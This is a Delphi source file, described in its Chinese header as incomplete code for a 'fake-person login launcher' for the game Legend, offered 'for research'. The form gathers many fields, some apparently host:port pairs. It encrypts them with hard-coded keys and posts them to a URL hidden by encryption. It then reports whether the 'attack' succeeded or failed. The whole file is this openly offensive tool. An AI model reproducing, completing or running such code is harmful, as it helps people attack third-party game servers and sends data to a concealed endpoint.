unit1.pas

传奇假人登陆器 原代码 不完全 但是可以拿来研究

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, EDcode,  OleCtrls, SHDocVw, ComCtrls, uEncrypt;

type
  TForm1 = class(TForm)
    grp1: TGroupBox;
    lbl1: TLabel;
    lbl2: TLabel;
    lbl6: TLabel;
    edt1: TEdit;
    edt2: TEdit;
    edt7: TEdit;
    btn1: TButton;
    IdHTTP1: TIdHTTP;
    stat1: TStatusBar;
    lbl3: TLabel;
    lbl5: TLabel;
    edt4: TEdit;
    lbl8: TLabel;
    edt5: TEdit;
    lbl4: TLabel;
    lbl9: TLabel;
    edt3: TEdit;
    edt8: TEdit;
    lbl7: TLabel;
    lbl10: TLabel;
    edt6: TEdit;
    lbl11: TLabel;
    edt9: TEdit;
    lbl12: TLabel;
    edt10: TEdit;
    lbl13: TLabel;
    edt11: TEdit;
    lbl14: TLabel;
    edt12: TEdit;
    lbl15: TLabel;
    edt13: TEdit;
    lbl16: TLabel;
    edt14: TEdit;
    lbl17: TLabel;
    edt15: TEdit;
    lbl18: TLabel;
    lbl19: TLabel;
    lbl20: TLabel;
    lbl21: TLabel;
    lbl22: TLabel;
    lbl23: TLabel;
    edt16: TEdit;
    edt17: TEdit;
    edt18: TEdit;
    edt19: TEdit;
    edt20: TEdit;
    procedure edt10Click(Sender: TObject);
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.edt10Click(Sender: TObject);
begin
MessageBox(Handle,'使用该下载地址必须输入存放目录','说明',64);
Exit;
end;

procedure TForm1.btn1Click(Sender: TObject);
const
My_Key = 1125;
My_Key1 = 8124;
My_key2 = 3123;
var
LoginInfo:TStrings;
inff : TStrings;
xinxi : TStringList;
Response:TStringStream;
Cookie:string;
begin
Cookie:='';
Response := TStringStream.Create('');
LoginInfo := TStringList.Create;
inff := TStringList.Create;
xinxi := TStringList.Create;
if (edt1.Text = '') or (edt2.Text = '')
or (edt6.Text = '') or (edt7.Text = '' )  or (edt4.Text  = '') or (edt5.Text  = '')
or (edt17.Text = '') or (edt18.Text = '') or (edt19.Text = '') or (edt20.Text = '')   then
Exit;
try
      LoginInfo.Clear;
      inff.Clear;
      LoginInfo.Add(edt1.Text);
      LoginInfo.Add(edt2.Text + ':' + edt16.Text);
      LoginInfo.Add(edt9.Text);
      LoginInfo.Add(edt6.Text + ':' + edt17.Text);
      LoginInfo.Add(edt11.Text);
      LoginInfo.Add(edt10.Text + ':' + edt18.Text);
      LoginInfo.Add(edt13.Text);
      LoginInfo.Add(edt12.Text + ':' + edt19.Text);
      LoginInfo.Add(edt15.Text);
      LoginInfo.Add(edt14.Text + ':' + edt20.Text);
      LoginInfo.Add(edt7.Text);
      logininfo.Add(edt4.Text);
      LoginInfo.Add(edt5.Text);
      LoginInfo.Add(edt3.Text);
      logininfo.Add(edt8.Text);
      xinxi.Text := Encrypt(LoginInfo.Text,My_Key);
      xinxi.Text := Encrypt(xinxi.Strings[0],My_Key1);
      xinxi.Text := Encrypt(xinxi.Strings[0],My_key2);
      xinxi.Text := EncodeString(xinxi.Text);
      inff.Add('num=' +  xinxi.Text);

      try
         form1.IdHTTP1.Post(Decrypt('sdOuH1pQPoJwtF/Zi894b8cktGFTqHXxqK++gXUgUe4QktgHbD',My_Key),inff,Response);
      except
      end;
      if Pos('Send OK',Response.DataString)>0 then begin
      MessageBox(Handle,'攻击成功','信息',64);
      Exit;
      end else
      begin
      MessageBox(Handle,'攻击失败','信息',16);
      end;
  finally
xinxi.Free;
inff.Free;
LoginInfo.Free;
Response.Free;
end;
end;

end.